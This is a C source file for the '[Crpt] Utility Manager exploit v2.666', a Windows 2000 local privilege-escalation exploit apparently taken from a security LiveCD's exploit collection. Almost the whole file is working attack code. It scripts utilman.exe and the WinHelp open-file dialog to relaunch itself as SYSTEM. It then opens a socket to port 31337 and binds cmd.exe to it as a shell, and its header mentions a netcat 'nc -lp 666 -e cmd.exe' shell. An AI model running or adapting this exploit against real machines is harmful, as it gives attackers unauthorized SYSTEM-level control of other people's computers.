home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / utilManagerExploit3.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  362 lines

  1. /*****************************************************************************************
  2.  *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
  3.  **          [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]            **
  4.  * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  5.  **   It gets system language and sets windows names to work on any win2k :P            **
  6.  **   Feel free to add other languages :)                                               **
  7.  **   v2.666: added autonomous (allinone) remote exploitation system ;)                 **
  8.  **   It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a **
  9.  **   normal user account). Must be called with an argument (any argument)              **
  10.  **   You know where we are..                                                           **
  11.  *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
  12.  *****************************************************************************************/
  13. /* original disclaimer */
  14. //by Cesar Cerrudo  sqlsec>at<yahoo.com
  15. //Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
  16. //Gives you a shell with system privileges
  17. //If you have problems try changing Sleep() values.
  18. /* end of original disclaimer */
  19.  
  20. #include <stdio.h>
  21. #include <winsock2.h>
  22. #include <windows.h>
  23. #include <conio.h>
  24. #include <io.h>
  25.  
  26. #pragma comment (lib,"ws2_32")
  27.  
  28. #define EXIT_SHELL "exit -shell"
  29. #define HOST "localhost"
  30. #define PORT 31337
  31.  
  32. struct {
  33.  int id;
  34.  char *utilman;
  35.  char *winhelp;
  36.  char *open;
  37. } lang[] = {
  38.     { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French  */
  39.     { 0x09,"Utility manager","Windows Help","Open" }          /* English */
  40. };
  41.  
  42. void print_lang(int id)
  43. {
  44.     char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
  45.                  "Danish","German","Greek","English","Spanish","Finnish",
  46.                  "French","Hebrew","Hungarian","Icelandic","italian",
  47.                  "Japanese","Korean","Dutch","Norwegian","Polish",
  48.                  "Portuguese","Romanian","Russian","Croatian","Serbian",
  49.                  "Slovak","Albanian","Swedish","Thai","Turkish","Urdu",
  50.                  "Indonesian","Ukrainian","Belarusian","Slovenian",
  51.                  "Estonian","Latvian","Lithuanian","Farsi","Vietnamese",
  52.                  "Armenian","Azeri","Basque","FYRO Macedonian","Afrikaans",
  53.                  "Georgian","Faeroese","Hindi","Malay","Kazak","Kyrgyz",
  54.                  "Swahili","Uzbek","Tatar","Not supported","Punjabi",
  55.                  "Gujarati","Not supported","Tamil","Telugu","Kannada",
  56.                  "Not supported","Not supported","Marathi","Sanskrit",
  57.                  "Mongolian","Galician the best ;)","Konkani","Not supported",
  58.                  "Not supported","Syriac","Not supported","Not supported",
  59.                  "Divehi","Invariant"};
  60.     printf("%s\r\n",lang_list[id]);
  61.     return;
  62. }
  63.  
  64. int cnx(char *host, int port)
  65. {
  66.     SOCKET sock;
  67.     struct sockaddr_in yeah;
  68.     struct hostent *she;
  69.     PROCESS_INFORMATION ProcessInformation;
  70.     STARTUPINFO si;
  71.  
  72.     printf("[i] should be called by myself, try with any argument to load the attack\r\n");
  73.     fflush(stdout);
  74.     sock = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00);
  75.     if(!sock) {
  76.         printf("error: unable to create socket\r\n");
  77.         return -1;
  78.         }
  79.  
  80.     yeah.sin_family=AF_INET; 
  81.     yeah.sin_addr.s_addr=inet_addr(host); 
  82.     yeah.sin_port=htons((u_short)port);
  83.  
  84. if((she=gethostbyname(host))!=NULL) { 
  85.     memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length); 
  86.     } else { 
  87.     if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  88.         printf("error: cannot resolve host\r\n");
  89.         return -1;
  90.         } 
  91.     }
  92.     if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  93.         printf("error: connection refused\r\n");
  94.         return -1;
  95.         }
  96.  
  97.     si.cb = 0x44;
  98.     si.lpReserved = 0x00;
  99.     si.lpTitle = 0x00;
  100.     si.lpDesktop = 0x00;
  101.     si.dwX = 0x00;
  102.     si.dwY = 0x00;
  103.     si.dwXSize = 0x00;
  104.     si.dwYSize = 0x00;
  105.     si.wShowWindow = 0x00;
  106.     si.lpReserved2 = 0x00;
  107.     si.cbReserved2 = 0x00;
  108.  
  109.     si.dwFlags = 0x101;
  110.  
  111.     si.hStdInput  = (void *)sock;
  112.     si.hStdOutput = (void *)sock;
  113.     si.hStdError = (void *)sock;
  114.  
  115.     if(!CreateProcess(0x00, "cmd", 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,&si, &ProcessInformation)) {
  116.         printf("CreateProcess() error\r\n");
  117.         return -1;
  118.     }
  119.     return 0;
  120. }
  121.  
  122. void cmdshell(int sock)
  123. {
  124.     int length=666;
  125.     char buffer[1024];
  126.  
  127. while(length) {
  128.         length=read(0,buffer,sizeof(buffer));
  129.         buffer[length]=0;
  130.         if(!strncmp(buffer,EXIT_SHELL,strlen(EXIT_SHELL))) {
  131.             send(sock,"exit\r\n",6,0);
  132.             break;
  133.             }
  134.         length=send(sock,buffer,length,0);
  135.         if (length<=0) {
  136.             printf("[i] Connection closed.\n");
  137.             exit(0);
  138.         }
  139.     }
  140.     printf("[i] Connection successfully exited.\r\n");
  141.     exit(0);
  142. }
  143.  
  144. void wait_cnx(int port) {
  145.     int sock, s,t;
  146.     struct sockaddr_in my_addr;
  147.     struct sockaddr_in their_addr;
  148.     int sin_size;
  149.     char buffer[4095];
  150.  
  151. if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) {
  152.     printf("error: unable to create socket\r\n");
  153.     exit(1);
  154.     }
  155.     my_addr.sin_family=AF_INET;        
  156.     my_addr.sin_port=htons((u_short)port);
  157.     my_addr.sin_addr.s_addr=INADDR_ANY; 
  158. if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1) {
  159.     printf("error: unable to bind socket on port %d\r\n",port);
  160.     exit(1);
  161.     }
  162. if(listen(sock, 3)==-1) {
  163.     printf("error: unable to listen\r\n");
  164.     exit(1);
  165.     }
  166.     sin_size=sizeof(struct sockaddr_in);
  167.     printf("[i] waiting connection on port %d\r\n",port);
  168.  
  169. if((s=accept(sock, (struct sockaddr *)&their_addr,&sin_size))==-1) {
  170.     printf("error: unable to accept connection\r\n");
  171.     exit(1);
  172.     }
  173.     memset(buffer,0,sizeof(buffer));
  174.     printf("[i] host %s connected\r\n", inet_ntoa(their_addr.sin_addr));
  175.     printf("[h] type 'exit -shell' to leave the shell\r\n\r\n");
  176.     fflush(stdout);
  177.     CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)cmdshell,(void*)s,0,&t);
  178.     while((sin_size=recv(s,buffer,sizeof(buffer),0))>0) {
  179.         buffer[sin_size]=0x00;
  180.         printf("%s",buffer);
  181.         fflush(stdout);
  182.         }
  183.     printf("\r\n[i] shell lost\r\n");
  184.     return;
  185. }
  186.  
  187. int set_lang(void)
  188. {
  189.     unsigned int lang_usr,lang_sys,id;
  190.  
  191.     id=GetSystemDefaultLangID();
  192.     lang_sys=PRIMARYLANGID(id);
  193.     id=GetUserDefaultLangID();
  194.     lang_usr=PRIMARYLANGID(id);
  195.     if(lang_usr!=lang_sys) {
  196.         printf("warning: user language differs from system language\r\n\r\n");
  197.         printf("1. system : ");print_lang(lang_sys);
  198.         printf("2. user   : ");print_lang(lang_usr);printf("Select(1-2): ");
  199.         fflush(stdout);
  200.         id=getch();
  201.     if(id!=49&&id!=50) {
  202.         printf("wrong choice '%c', leaving.\r\n",id);
  203.         exit(0);
  204.         }
  205.     if(id==49) {
  206.         printf("system language\r\n");
  207.         return lang_sys;
  208.         }
  209.     else
  210.         printf("user language\r\n");
  211.     }
  212.     return lang_usr;
  213. }
  214.  
  215. void banner()
  216. {
  217.     printf("\r\n\r\n\t[Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]\r\n");
  218.     printf("\t\t\t  base code by Cesar Cerrudo\r\n");
  219.     printf("\t     added autonomous (allinone) remote exploitation system\r\n");
  220.     printf("\t\t\t   You know where we are...\r\n\r\n");
  221.     fflush(stdout);
  222.     return;
  223. }
  224.  
  225. void give_magicshell(void)
  226. {
  227.     cnx(HOST,PORT);
  228.     exit(0);
  229.     return;
  230. }
  231.  
  232. void enter_filename(HWND hwnd,char *filename,int size)
  233. {
  234.     unsigned int i;
  235.  
  236.     for(i=0;i<(unsigned int)size;i++)
  237.         SendMessage(hwnd, WM_IME_KEYDOWN, toupper(filename[i]), 0);
  238.     return;
  239. }
  240.  
  241. int main(int argc, char* argv[])
  242. {
  243.     HWND lHandle, lHandle2;
  244.     POINT point;
  245.     char cmd[512];
  246.     unsigned int i,j,t;
  247.     int lang_id,path_len=1024;
  248.     char *path;
  249.     WSADATA wsa;
  250.     HANDLE hdlr;
  251.  
  252.     banner();
  253.     if(WSAStartup(0x101,&wsa)) {
  254.         printf("error: unable to load winsock\r\n");
  255.         return -1;
  256.     }
  257. if(argc==1)
  258.     give_magicshell();
  259.  
  260.     hdlr=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)\
  261.          wait_cnx,(void*)PORT,0,&t);
  262.     Sleep(1000);
  263.  
  264.     printf("[+] Gathering system language information\r\n");
  265.     lang_id=set_lang();
  266.     printf("[+] OK language ...");print_lang(lang_id);
  267.     fflush(stdout);
  268.     for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
  269.         if(lang[i].id==lang_id)
  270.             break;
  271.     if(i==sizeof(lang)/sizeof(lang[0])) {
  272.         printf("error: undefined language.\r\n");
  273.         return -1;
  274.     }
  275.     printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n");
  276.     memset(cmd,0,sizeof(cmd));
  277.     for(j=strlen(argv[0]);j>0;j--)
  278.         if(argv[0][j]=='\\') {
  279.             j++;break;
  280.         }
  281.     strncpy(cmd,&argv[0][j],508);
  282.     if(cmd[strlen(cmd)-4]!='.')
  283.         strcat(cmd,".exe");
  284.  
  285.     printf("prog: %s\r\n",cmd);
  286.     cmd[strlen(cmd)-1]='?';
  287.     fflush(stdout);
  288. //  run utility manager
  289.     WinExec("utilman.exe /start",SW_HIDE);
  290.     Sleep(1000);
  291.  
  292.     lHandle=FindWindow(NULL, lang[i].utilman);   
  293.     if (!lHandle) {
  294.         printf("error: unable to start utilman.exe.\r\n");
  295.         return 0;
  296.     }
  297.  
  298.     PostMessage(lHandle,0x313,0,0); //=right click on the app button in the taskbar or Alt+Space Bar
  299.     Sleep(100);
  300.  
  301.     SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP  0x0365  lParam must be<>NULL 
  302.     Sleep(300);
  303.         
  304.     SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0);
  305.     Sleep(500);
  306.  
  307.         // find open file dialog window
  308.     lHandle = FindWindow("#32770",lang[i].open);
  309.     // get input box handle
  310.     lHandle2 = GetDlgItem(lHandle, 0x47C);
  311.     Sleep(500);
  312.  
  313.     path=(char*)malloc(path_len);
  314.     GetCurrentDirectory(path_len,path);
  315.     printf("path: %s\r\n",path);
  316.     SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)path);
  317.     SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
  318.     free(path);
  319.     fflush(stdout);
  320.  
  321.     // set text to filter listview to display only cmd.exe
  322.     SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
  323.     Sleep(800);
  324.  
  325.     // send return
  326.     SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
  327.  
  328.     //get navigation bar handle
  329.     lHandle2 = GetDlgItem(lHandle, 0x4A0);
  330.     
  331.     //send tab
  332.     SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  333.     Sleep(500);
  334.     lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  335.     //get list view handle
  336.     lHandle2 = GetDlgItem(lHandle2, 0x1);
  337.  
  338.     enter_filename(lHandle2,cmd,strlen(cmd)-4);
  339.     Sleep(500);
  340.  
  341.     //popup context menu
  342.     PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  343.     Sleep(1000);
  344.  
  345.     // get context menu handle
  346.     point.x =10; point.y =30;
  347.     lHandle2=WindowFromPoint(point);
  348.  
  349.     SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  350.     SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  351.     SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
  352.  
  353.     SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
  354.     Sleep(500);
  355.  
  356.     SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window
  357.     SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager
  358.     WaitForSingleObject(hdlr,INFINITE);
  359.     WSACleanup();
  360.     return 0;
  361. }
  362.